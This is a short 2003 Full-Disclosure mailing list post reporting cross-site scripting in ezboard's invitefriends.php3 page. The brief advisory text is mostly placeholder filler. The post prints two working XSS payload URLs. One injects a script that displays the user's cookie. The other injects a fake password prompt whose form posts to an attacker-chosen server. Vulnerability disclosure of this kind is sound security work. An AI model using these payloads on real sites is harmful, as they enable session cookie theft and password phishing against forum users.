[Full-Disclosure] XSS in ezboard

From: David F. Madrid (idoru_at_videosoft.net.uy)
Date: 08/31/03

  • Next message: Kristian Hermansen: "[Full-Disclosure] DCOM/RPC story (Analogy)"
    To: full-disclosure@lists.netsys.com
    Date: Sun, 31 Aug 2003 19:05:37 +0200
    
    

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    Issue : Cross site scripting in ezboard

    Vendor status : developers were contacted

    ezboard offers a free forum hosted at ... bla ... bla ...
    improper input validation .. bla ... bla ... script or HTML
    execution ... bla ... bla ( sorry but I don't have time
    now for advisories )

    Cross site scripting

    http://www1.ezboard.com/invitefriends.php3?action=http://pub80.ezboard.com/ano.doTel
    lAFriend&yourName=dav%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3
    E

    A more elaborated attack ( but still lame ) can be constructed

    http://www1.ezboard.com/invitefriends.php3?action=http://[server]&yourName=%22%3E
    %3Cp%3E%3Cb%3EYou%20must%20enter%20your%20password%20to%20invite%20
    a%20friend%3C/b%3E%3Cp%3E%3Cinput%20type=password%20name=pass%3E%3
    Cp%3E%3Cb%3EEnter%20your%20friend%20address%3C/b%3E%3Cp%3E%3Cinput
    %20type=text%20name=mail%3E%3C/form%3E%3C!--

      
    Regards ,

    - --

    David F. Madrid ,
    Madrid , Spain

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  • Next message: Kristian Hermansen: "[Full-Disclosure] DCOM/RPC story (Analogy)"

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